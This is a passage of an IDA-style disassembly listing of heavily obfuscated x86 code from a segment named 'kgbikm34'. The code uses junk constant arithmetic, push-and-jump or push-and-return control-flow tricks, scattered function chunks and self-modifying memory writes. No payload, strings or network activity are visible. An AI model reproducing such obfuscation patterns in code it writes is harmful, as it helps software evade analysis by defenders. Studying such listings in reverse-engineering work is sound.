; END OF FUNCTION CHUNK	FOR sub_4391E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B9AD

loc_44465A:				; CODE XREF: sub_44B9AD-D470j
					; kgbikm34:loc_443134j	...
		push	offset sub_4438D6
		jmp	nullsub_180
; END OF FUNCTION CHUNK	FOR sub_44B9AD
; ---------------------------------------------------------------------------

loc_444664:				; DATA XREF: sub_43BF99+Co
		setz	al
		call	sub_4396C0
		pop	ecx
		shl	eax, 3
		mov	edx, [ebp+8]
		or	[edx-8], eax
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_444676:				; CODE XREF: sub_43C55C:loc_438405j
					; sub_43C55C-25BDj ...
		js	loc_442C21
		jmp	loc_438A32
; END OF FUNCTION CHUNK	FOR sub_43C55C

; =============== S U B	R O U T	I N E =======================================



sub_444681	proc near		; CODE XREF: sub_43A4A3+2D8Bp
					; kgbikm34:00442139j

; FUNCTION CHUNK AT 004376BE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D97A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DAC6 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043E186 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00441FBF SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00445C59 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00447200 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004477C7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448CD5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044AE44 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0044DBC4 SIZE 0000000E BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	ecx, 9AA02498h
		add	ecx, ebp
		push	eax
		push	4B24AC94h
		jmp	loc_4376BE
sub_444681	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_444698:				; CODE XREF: kgbikm34:004479D0j
		sub	esi, 8C736C57h
		jge	loc_44AECB
		jmp	loc_44CEB2

; =============== S U B	R O U T	I N E =======================================



sub_4446A9	proc near		; CODE XREF: sub_4386C7+6p
					; kgbikm34:00446CE3j

; FUNCTION CHUNK AT 0043EA3D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00445346 SIZE 00000017 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	[ebx], eax
		pop	ebx
		jmp	loc_43EA3D
sub_4446A9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_4446B5:				; CODE XREF: kgbikm34:loc_44A74Ej
		retn
; ---------------------------------------------------------------------------

loc_4446B6:				; CODE XREF: kgbikm34:0043BC35j
		jmp	sub_43BF6F
; ---------------------------------------------------------------------------

loc_4446BB:				; DATA XREF: sub_44114F:loc_43E0A0o
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	loc_4422BD
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_4446C8:				; CODE XREF: sub_4471D6-FA03j
					; sub_446230+Aj
		jo	loc_445370
		cmp	dword ptr [ebp-1Ch], 0Fh
		jnz	loc_4496C1
		mov	eax, [ebp-1Ch]
		jmp	loc_437090
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_4446E0:				; CODE XREF: sub_43DC42:loc_43B464j
		jnz	loc_43C5E2
; END OF FUNCTION CHUNK	FOR sub_43DC42
; START	OF FUNCTION CHUNK FOR sub_445779

loc_4446E6:				; CODE XREF: sub_445779+9j
		jmp	loc_43ABDE
; END OF FUNCTION CHUNK	FOR sub_445779
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_4446EB:				; CODE XREF: sub_43B0B7+66C2j
		jmp	loc_438DEF
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
		rol	esi, 0Bh
		jmp	loc_43C5DC

; =============== S U B	R O U T	I N E =======================================



sub_4446F8	proc near		; CODE XREF: sub_43C55C-3D45p
					; kgbikm34:0043CF9Fj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043D1EC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E359 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043E92C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00440EEA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044297C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044478B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004449EF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444DCD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004466C8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044969A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C45E SIZE 00000015 BYTES

		xchg	ebx, [esp+8+var_8]
		pop	ebx
		push	eax
		cmp	dword ptr [ebp-14h], 6
		call	sub_444E1C
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_4437DF
		jmp	loc_43D1EC
sub_4446F8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edx, ds:dword_43A8C4
		mov	edx, [edx]
		sub	edx, eax
		mov	ecx, [ebp-4]
		push	2D9DF24Dh
; START	OF FUNCTION CHUNK FOR sub_442340

loc_44472A:				; CODE XREF: sub_442340:loc_43997Dj
		pop	eax
		jmp	loc_443596
; END OF FUNCTION CHUNK	FOR sub_442340

; =============== S U B	R O U T	I N E =======================================



sub_444730	proc near		; DATA XREF: sub_448C95-69B4o
		jnz	loc_44DC6C
		mov	eax, 6
		sub	eax, [ebp-0Ch]
		push	offset sub_437ADD
		jmp	nullsub_219
sub_444730	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F039

loc_444748:				; CODE XREF: sub_449D87-FACBj
					; sub_43F039:loc_43EF48j ...
		dec	ds:dword_4480C4
		push	8996754Bh
		pop	eax
		xor	eax, 258D51D6h
		and	eax, 446DE7F0h
		jmp	loc_43A94E
; END OF FUNCTION CHUNK	FOR sub_43F039
; ---------------------------------------------------------------------------
		mov	ds:dword_41E05C, eax
		lea	eax, nullsub_369
		call	sub_4375FB
; START	OF FUNCTION CHUNK FOR sub_438978

loc_444776:				; CODE XREF: sub_438978+131D3j
		jmp	loc_4395F0
; END OF FUNCTION CHUNK	FOR sub_438978
; ---------------------------------------------------------------------------

loc_44477B:				; CODE XREF: kgbikm34:00444DC8j
		jmp	loc_43CA22
; ---------------------------------------------------------------------------
		sbb	ebp, 0C045414Eh
		jmp	sub_448CCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4446F8

loc_44478B:				; CODE XREF: sub_4446F8+1FE6j
		sub	edi, 0C48F749Eh
		add	edi, 0C817BC3Eh
		xchg	edi, [esp+0]
		jmp	sub_43E4C0
; END OF FUNCTION CHUNK	FOR sub_4446F8
; ---------------------------------------------------------------------------
		push	esi
		jmp	loc_4469C4
; ---------------------------------------------------------------------------

loc_4447A5:				; CODE XREF: kgbikm34:loc_445799j
		mov	edx, ds:dword_4491F0
		or	edx, edx
		jnz	loc_4491E2
		jmp	loc_43B05F
; ---------------------------------------------------------------------------
		add	edi, ecx
		jmp	sub_43B932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E64C

loc_4447BF:				; CODE XREF: sub_43E64C:loc_446774j
		sub	edi, 0AD61A840h
; END OF FUNCTION CHUNK	FOR sub_43E64C
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_4447C5:				; CODE XREF: sub_43D494:loc_4438CAj
		and	edi, 6F961C09h
		rol	edi, 17h
		add	edi, 0FC0DED86h
		jmp	loc_44A3C3
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
		mov	edx, 0BB931B55h
		push	offset loc_448F80
		jmp	loc_43FF7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F65B

loc_4447E8:				; CODE XREF: sub_43F65B+Bj
		pop	eax
		mov	eax, [esp-8+arg_4]
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp-4+arg_0]
		push	ecx
		push	4A91E261h
		jmp	loc_44280E
; END OF FUNCTION CHUNK	FOR sub_43F65B

; =============== S U B	R O U T	I N E =======================================



sub_4447FD	proc near		; CODE XREF: kgbikm34:0043A1B3j
					; sub_44DE4C-DC4Fp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044D9C9 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	ecx, 3B417BDDh
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_44D9C9
sub_4447FD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44480F:				; CODE XREF: kgbikm34:loc_43A8B4j
		sub	eax, 74C4C410h
		cmp	eax, 11C0469Eh
		jmp	loc_43EEC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447FC7

loc_444820:				; CODE XREF: sub_447FC7:loc_438DD5j
		xor	eax, 50D9D31Ah
		or	eax, 1B67806h
		add	eax, 288C8112h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_437848
		jmp	loc_44972C
; END OF FUNCTION CHUNK	FOR sub_447FC7
; ---------------------------------------------------------------------------

loc_444841:				; CODE XREF: kgbikm34:loc_449C62j
		jz	loc_4427C5
; START	OF FUNCTION CHUNK FOR sub_4471A4

loc_444847:				; CODE XREF: sub_4471A4+6736j
		jmp	sub_43C7D3
; END OF FUNCTION CHUNK	FOR sub_4471A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A9D8

loc_44484C:				; CODE XREF: sub_44A9D8-89E0j
		jmp	loc_449983
; END OF FUNCTION CHUNK	FOR sub_44A9D8
; ---------------------------------------------------------------------------
		mov	[ebp+0], edi
		jmp	loc_44B287
; ---------------------------------------------------------------------------
		sbb	ebp, 0C32F6C47h
		jmp	sub_44B829

; =============== S U B	R O U T	I N E =======================================



sub_444864	proc near		; CODE XREF: sub_44B5E4-3B0p
					; kgbikm34:0044C0F1j

; FUNCTION CHUNK AT 0043936C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00440D3C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441ADD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00443A96 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00443DE3 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00443E67 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044657B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00447B27 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00449B30 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D1CA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D631 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044DFFA SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jno	loc_44D631
		call	sub_438ACE

loc_444873:				; CODE XREF: sub_4372E5+14C29j
		jmp	loc_443A96
sub_444864	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	0
		call	sub_442C3F

locret_44487F:				; CODE XREF: kgbikm34:00446320j
		retn
; ---------------------------------------------------------------------------

loc_444880:				; CODE XREF: kgbikm34:00449B0Dj
		jmp	loc_439950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4435FE

loc_444885:				; CODE XREF: sub_4435FE:loc_444B64j
		mov	eax, ds:dword_4480C4
		jmp	loc_448026
; END OF FUNCTION CHUNK	FOR sub_4435FE
; ---------------------------------------------------------------------------

loc_444890:				; CODE XREF: kgbikm34:0043A633j
		adc	ebx, eax

; =============== S U B	R O U T	I N E =======================================



sub_444892	proc near		; CODE XREF: sub_43DC42:loc_43922Cp

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [esp-4+arg_0]
		push	esi
		push	offset loc_44A619
		jmp	nullsub_63
sub_444892	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440BA

loc_4448A4:				; CODE XREF: sub_4440BA:loc_445A1Aj
		mov	[ebp-8], edx
; END OF FUNCTION CHUNK	FOR sub_4440BA
; START	OF FUNCTION CHUNK FOR sub_43AD9F

loc_4448A7:				; CODE XREF: sub_43AD9F:loc_43DDB7j
		mov	[ebp-4], eax
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		call	sub_43CDCE
		push	offset sub_43CFD0
		jmp	nullsub_91
; END OF FUNCTION CHUNK	FOR sub_43AD9F
; ---------------------------------------------------------------------------
		mov	[ebx], ebp
		sbb	esi, 0E79A85BBh
		jmp	sub_44CA61
; ---------------------------------------------------------------------------
		and	eax, 53465CFAh
		jmp	loc_44D7FD
; ---------------------------------------------------------------------------

loc_4448D7:				; CODE XREF: kgbikm34:0044A748j
		jnz	loc_448C44
		jmp	loc_43E631
; ---------------------------------------------------------------------------

loc_4448E2:				; CODE XREF: kgbikm34:00440438j
		jnz	loc_43E309
		jmp	loc_443F33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_4448ED:				; CODE XREF: sub_449D59-B7FBj
		jz	loc_447394
		jmp	loc_43E573
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
		jmp	ds:off_41E0DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441E1C

loc_4448FE:				; CODE XREF: sub_441E1C:loc_44AA4Dj
		jmp	loc_43E10C
; END OF FUNCTION CHUNK	FOR sub_441E1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F524

loc_444903:				; CODE XREF: sub_43F524+AB1j
					; sub_44A987:loc_445ED7j ...
		jb	loc_446ACA
		pop	edx
		mov	eax, [esp-8+arg_4]
		push	esi
		jmp	loc_43AFE9
; END OF FUNCTION CHUNK	FOR sub_43F524
; ---------------------------------------------------------------------------
		jmp	ds:off_41E0FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44276B

loc_444919:				; CODE XREF: sub_44276B+12j
		jmp	loc_44D8DF
; END OF FUNCTION CHUNK	FOR sub_44276B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B5BA

loc_44491E:				; CODE XREF: sub_43B5BA:loc_43B5BFj
					; sub_44A1A6:loc_445F5Ej ...
		pop	edx
		jz	loc_443BD6
		mov	eax, [esp-4+arg_0]
		jmp	loc_44072B
; END OF FUNCTION CHUNK	FOR sub_43B5BA
; ---------------------------------------------------------------------------

loc_44492D:				; CODE XREF: kgbikm34:0043F06Ej
		add	esi, ebp
		add	esi, 0CE114CA9h
		mov	[esi], eax
		pop	esi
		pushf
		push	4075B5ECh
		pop	eax
		jmp	loc_447335
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43730F

loc_444944:				; CODE XREF: sub_43730F:loc_43898Ej
		push	edi
		push	offset sub_439587
		jmp	nullsub_260
; END OF FUNCTION CHUNK	FOR sub_43730F
; ---------------------------------------------------------------------------
		push	2CA8FC8Dh
		pop	eax
		xor	eax, 2503FD61h
		and	eax, 7352329Eh
		sub	eax, 3C9DAD38h
		and	eax, 41CE479Bh
		xor	eax, 0BFF423F7h
		call	sub_43BF6F
		jmp	loc_440B5E
; ---------------------------------------------------------------------------

loc_44497D:				; CODE XREF: kgbikm34:0044549Aj
		jle	loc_440E1B
		pop	esi
		mov	edx, [eax]

loc_444986:				; CODE XREF: kgbikm34:loc_445492j
		rol	ebx, 4
		add	ebx, 7CC61DF1h
		rol	ebx, 1Ch
		add	ebx, 0C9EA5959h
		jmp	loc_4485EF
; ---------------------------------------------------------------------------

loc_44499D:				; CODE XREF: kgbikm34:004487ADj
		rol	edx, 10h
		and	edx, 0CF07C5F1h
		rol	edx, 8
		add	edx, 0FDC36324h
		xchg	edx, [esp]
		jmp	sub_43A4CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44087D

loc_4449B7:				; CODE XREF: sub_44087D:loc_4478DEj
		jnz	loc_43DCBC
		jmp	loc_4414B0
; END OF FUNCTION CHUNK	FOR sub_44087D
; ---------------------------------------------------------------------------
		push	58C78ECDh
		pop	eax
		or	eax, 0F1AF609Bh
		and	eax, 0CB0F8B5Bh
		xor	eax, 0F6F3BA1Ah
		call	sub_43BF6F
		jmp	loc_441012
; ---------------------------------------------------------------------------
		jmp	ds:off_41E078
; ---------------------------------------------------------------------------

loc_4449EA:				; CODE XREF: kgbikm34:004439B9j
		jmp	locret_44D075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4446F8

loc_4449EF:				; CODE XREF: kgbikm34:0043F76Fj
					; sub_4446F8:loc_440EEAj
		jmp	loc_44C45E
; END OF FUNCTION CHUNK	FOR sub_4446F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E34D

loc_4449F4:				; CODE XREF: sub_43E34D-2AC5j
		jmp	loc_4424C6
; END OF FUNCTION CHUNK	FOR sub_43E34D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440841

loc_4449F9:				; CODE XREF: kgbikm34:loc_437869j
					; sub_440841+25CAj ...
		jb	loc_44AD4C
		pop	edx
		mov	eax, [esp+4+var_4]
		jmp	loc_44B553
; END OF FUNCTION CHUNK	FOR sub_440841
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_444A08:				; CODE XREF: sub_43D045:loc_44002Ej
		push	ecx
		push	0DB7F957Ah
		pop	ecx
		and	ecx, 0F77B5D1h
		xor	ecx, 7CFD1CE3h
		rol	ecx, 5
		jmp	loc_43F88A
; END OF FUNCTION CHUNK	FOR sub_43D045

; =============== S U B	R O U T	I N E =======================================



sub_444A23	proc near		; CODE XREF: kgbikm34:0043A7ADj
					; kgbikm34:loc_448FA3p

; FUNCTION CHUNK AT 0043C5D2 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		sub	eax, esi
		pop	esi
		xor	eax, 50733072h
		mov	ds:dword_44565C, eax
		jmp	loc_43C5D2
sub_444A23	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450E9

loc_444A3B:				; CODE XREF: sub_4450E9j
		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		mov	eax, [esp-4+arg_0]
		push	offset loc_44D4C9
		jmp	loc_43CFFC
; END OF FUNCTION CHUNK	FOR sub_4450E9

; =============== S U B	R O U T	I N E =======================================



sub_444A4E	proc near		; DATA XREF: sub_440443-687o

; FUNCTION CHUNK AT 0044D94E SIZE 00000005 BYTES

		ror	eax, 19h
		mov	edx, [esp+0]
		push	offset loc_446042
		jmp	loc_44D94E
sub_444A4E	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A5E	proc near		; CODE XREF: kgbikm34:00440918j
					; sub_448253+Dp

; FUNCTION CHUNK AT 00437069 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 004371DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004372FE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00438851 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043DB84 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043DF2C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043E958 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 004413F1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00441B45 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004420B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442F89 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00443B37 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00443CD3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044748B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0044A5EF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044ADE9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044B30A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044BB04 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0044C02F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044D1F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D5BF SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_44A6D1

loc_444A67:				; CODE XREF: kgbikm34:004373CFj
					; sub_4481F3-E506j ...
		jo	loc_43DB84
		jmp	loc_44D5BF
sub_444A5E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_444A72:				; CODE XREF: sub_44649E-1990j
		push	edx
		pushf
		jmp	loc_43C091
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444F4B

loc_444A79:				; CODE XREF: sub_444F4B:loc_444F62j
		xchg	esi, [esp+0]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_444F4B

; =============== S U B	R O U T	I N E =======================================



sub_444A81	proc near		; CODE XREF: kgbikm34:004457F3p
					; kgbikm34:0044A59Ej

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044C1C2 SIZE 00000017 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	ebp, [esp-4+arg_0]
		mov	esi, ebp
		pop	ebp
		add	esi, 0B959388Fh
		and	esi, 7CE8D675h
		jmp	loc_44C1C2
sub_444A81	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_444A9C:				; CODE XREF: sub_43741E:loc_44594Dj
		add	esi, 726561B5h
		popf
		xchg	esi, [esp+0]
		jmp	loc_43BC40
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_444AAB:				; CODE XREF: sub_448C95-BB5Ej
		test	edx, 10h
		jmp	loc_44CC63
; END OF FUNCTION CHUNK	FOR sub_448C95
; ---------------------------------------------------------------------------
		or	edx, 18AC6B4Ah
		mov	[edx], ebx
		sub	ecx, esi
		jmp	loc_449994
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9D6

loc_444AC5:				; CODE XREF: sub_43C9D6:loc_43852Aj
		push	edx
		push	55428DBDh
		pop	edx
		or	edx, 0C06A0D64h
		jmp	loc_44E0E7
; END OF FUNCTION CHUNK	FOR sub_43C9D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4479B1

loc_444AD7:				; CODE XREF: sub_4479B1-10277j
		and	edx, 0BDAF8A8Ch
		jmp	loc_43A0B5
; END OF FUNCTION CHUNK	FOR sub_4479B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440CD

loc_444AE2:				; CODE XREF: sub_4440CD:loc_43D2C1j
		or	esi, 16D1856Bh
		and	esi, 9C6F62FBh
		rol	esi, 1Fh
		add	esi, 76122393h
		jmp	loc_43839B
; END OF FUNCTION CHUNK	FOR sub_4440CD
; ---------------------------------------------------------------------------
		and	eax, 8779570Fh
		jmp	sub_44262A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_309. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_444B08:				; CODE XREF: sub_44649E:loc_44AD0Aj
		jz	loc_44206E
		jmp	loc_444A72
; END OF FUNCTION CHUNK	FOR sub_44649E

; =============== S U B	R O U T	I N E =======================================



sub_444B13	proc near		; DATA XREF: sub_43CFA5+F61Co
		jnz	loc_444B20
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
sub_444B13	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43CFA5

loc_444B20:				; CODE XREF: kgbikm34:0043884Bj
					; sub_43CFA5+4j ...
		jnb	loc_43A575
		jmp	loc_444E65
; END OF FUNCTION CHUNK	FOR sub_43CFA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4456B7

loc_444B2B:				; CODE XREF: sub_4456B7:loc_43B422j
					; sub_4456B7-A288j
		add	edx, 21B60EC5h
		push	offset sub_444F93
		jmp	nullsub_246
; END OF FUNCTION CHUNK	FOR sub_4456B7
; ---------------------------------------------------------------------------
		or	eax, 120BBC16h
		jmp	sub_447193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD9F

loc_444B46:				; CODE XREF: sub_43AD9F-19EAj
		jz	loc_440A31
		jmp	loc_44CCA0
; END OF FUNCTION CHUNK	FOR sub_43AD9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_444B51:				; CODE XREF: sub_43B932:loc_449695j
		mov	byte ptr [eax],	0C3h
		jmp	loc_4373B2
; END OF FUNCTION CHUNK	FOR sub_43B932
; ---------------------------------------------------------------------------
		call	nullsub_324
		jmp	ds:dword_41E0E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4435FE

loc_444B64:				; CODE XREF: sub_4435FE+1Fj
		jmp	loc_444885
; END OF FUNCTION CHUNK	FOR sub_4435FE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_324. PRESS KEYPAD	"+" TO EXPAND]
		dw 7683h
		dd 0E8FFFF3Dh, 0FFFFE619h
; ---------------------------------------------------------------------------

loc_444B74:				; CODE XREF: kgbikm34:00440DC0j
		jmp	loc_44521B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_444B79:				; CODE XREF: sub_43F5F7+B777j
		popf

loc_444B7A:				; CODE XREF: sub_43F5F7:loc_43869Cj
		movzx	eax, word ptr [ebp-6]
		mov	[ebp-1Ch], eax

loc_444B81:				; CODE XREF: sub_439587+9013j
					; sub_448699+7j
		mov	eax, [ebp-18h]
		mov	eax, [eax+20h]
		call	sub_43D494

loc_444B8C:				; DATA XREF: sub_4466A3:loc_447D16o
		rol	eax, 19h
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_43F5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B5D

loc_444B91:				; CODE XREF: sub_442B5D+4173j
		jmp	sub_44BA42
; END OF FUNCTION CHUNK	FOR sub_442B5D
; ---------------------------------------------------------------------------

loc_444B96:				; CODE XREF: kgbikm34:0043D78Bj
		jmp	loc_43EE54

; =============== S U B	R O U T	I N E =======================================



sub_444B9B	proc near		; CODE XREF: sub_446779-2C04j

; FUNCTION CHUNK AT 00443EFA SIZE 00000005 BYTES

		push	ebx
		push	ebp
		pop	ebx
		jmp	loc_443EFA
sub_444B9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_444BA3	proc near		; CODE XREF: sub_44DAF3-D4E7p
					; kgbikm34:0044136Cj

; FUNCTION CHUNK AT 00437448 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_44661D
		mov	eax, 469EF90Dh
		push	offset loc_449CFF
		jmp	loc_437448
sub_444BA3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_444BBB:				; CODE XREF: sub_44B6E1-B880j
		add	ecx, 104FE23Ch
		mov	ecx, [ecx]
		xchg	ecx, [esp+4+var_4]
		retn
; END OF FUNCTION CHUNK	FOR sub_44B6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_444BC7:				; CODE XREF: sub_4478CD-420Cj
		jmp	loc_44C3F7
; END OF FUNCTION CHUNK	FOR sub_4478CD

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444BCC	proc near		; CODE XREF: kgbikm34:loc_43F2EAj
					; sub_442B29+303Fj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043799D SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0043AA0D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D557 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00443736 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443ACB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00445D49 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446668 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00446706 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044AF7C SIZE 0000001C BYTES

		push	ebp
		mov	ebp, esp

loc_444BCF:				; CODE XREF: kgbikm34:0043A416j
		push	ecx
		mov	esp, ebp
		jmp	loc_44AF7C
sub_444BCC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B197

loc_444BD7:				; CODE XREF: sub_43B197-124Cj
		jnz	loc_442106
		jmp	loc_44C7A1
; END OF FUNCTION CHUNK	FOR sub_43B197
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_275. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445D55

loc_444BE3:				; CODE XREF: sub_445D55:loc_438885j
		mov	al, [eax]
		jz	loc_43DDA0
		sub	al, 99h
		mov	edx, [ebp+var_4]
		push	offset loc_44B84D
		jmp	nullsub_78
; END OF FUNCTION CHUNK	FOR sub_445D55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444600

loc_444BFA:				; CODE XREF: sub_444600+98FEj
